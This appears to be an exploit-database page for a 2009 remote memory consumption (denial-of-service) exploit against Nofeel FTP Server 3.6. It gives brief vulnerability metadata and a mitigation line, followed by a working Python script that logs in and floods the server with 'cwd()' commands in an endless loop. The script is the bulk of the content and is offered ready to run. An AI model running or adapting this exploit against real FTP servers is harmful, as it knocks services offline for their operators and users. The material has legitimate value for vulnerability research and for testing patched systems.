Nofeel FTP Server (CWD) Remote Memory Consumption Exploit

vendor:

Nofeel FTP Server

by:

His0k4

9.3

CVSS

HIGH

Remote Memory Consumption Exploit

400

CWE

Product Name: Nofeel FTP Server

Affected Version From: 3.6

Affected Version To: 3.6

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Nofeel FTP Server (CWD) Remote Memory Consumption Exploit

Nofeel FTP Server V3.6 is vulnerable to a remote memory consumption exploit. An attacker can send a malicious CWD command to the server, which will cause the server to consume large amounts of memory, leading to a denial of service. The exploit is triggered by sending a malicious CWD command to the server, which will cause the server to consume large amounts of memory, leading to a denial of service.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of Nofeel FTP Server.

Source

Exploit-DB raw data:

#!/usr/bin/python
#           
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |      |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |     | ]
#                  | .. |  |____! |____| |____   |\     |    |-----|
#                                      |        _| \  -----  | ::: |
#                                      |         |  \
#                                |_____|         |   \
#                                                |
#                                                |
#                                               ,|.
#                                              / | \
#                                             |  |  |
#                                             |  _  |
#                                           `._\/.\/_,'
#                                             _( 8 )_
#                                            / '_ _' \
#                                           |  /{_}\  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application :		Nofeel FTP Server V3.6
#
# [+] Vendor URL :		http://www.nftpserver.com/
#
# [+] Bug :			Nofeel FTP Server (CWD) Remote Memory Consumption Exploit
#
# [+] Author :			His0k4
#
# [+] Greetings :		All friends & Muslims Hackers (dz)
#				www.snakespc.com
#---------------------------------------------------------------------------------

import socket
import struct
import time

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "\n[*] Nofeel FTP Server Remote Memory Consumption Exploit"
	print "[*] Author:  His0k4\r\n"
	connect=s.connect(('127.0.0.1',21))
	s.recv(1024)
	print "[*] Sending Username"
	time.sleep(1)
	s.send('USER test\r\n')
	s.recv(1024)
	print "[+] Sending Password"
	time.sleep(1)
	s.send('PASS ftp\r\n')
	s.recv(1024)
	print "[*] Sending evil command"
	time.sleep(1)
	while (1):
		s.send('cwd()\r\n')
		s.recv(1024)
	s.send('quit\r\n')
	s.recv(1024)
except:
	print "Can't connect to ftp"

# milw0rm.com [2009-01-13]